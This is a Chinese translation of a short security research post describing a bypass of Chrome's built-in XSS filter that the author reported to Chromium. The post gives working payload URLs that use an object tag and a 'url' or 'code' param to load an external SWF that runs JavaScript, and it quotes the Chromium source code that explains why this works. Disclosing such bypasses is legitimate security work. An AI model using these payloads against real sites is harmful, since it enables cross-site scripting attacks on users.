原文链接:MKSB

原作者:Masato Kinugawa

译:Holic (知道创宇404安全实验室)

Hi there!

出于一些原因,我在读 Chromium 的源码的时候,意外地发现了一个绕过 XSS 过滤器的方法。在这篇短文里,我将分享这一绕过方法。我已在此处进行了报告: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

绕过方法如下:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

当然这样也有效:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

直到我在 HTMLObjectElement.cpp 中找到相关代码,我才知道 Chrome 竟会支持这些参数,:

if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

<param name="src" value="//attacker/xss.swf"><param name="movie" value="//attacker/xss.swf"> 被 XSS 过滤器拦截了。但是我发现 codeurl 并没有被拦截。使用这一方法,我们可以加载 Flash 并执行 JavaScript。根据源代码的注释,看来 Chrome 出于兼容性的考虑支持这一特性。但至少我确认了它在 IE/Edge 上并不生效。我认为 Chrome 可以移除对它的支持 :)

此致。我写了用 <param> 标签绕过 XSS 过滤器的方法,感谢阅读!


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/162/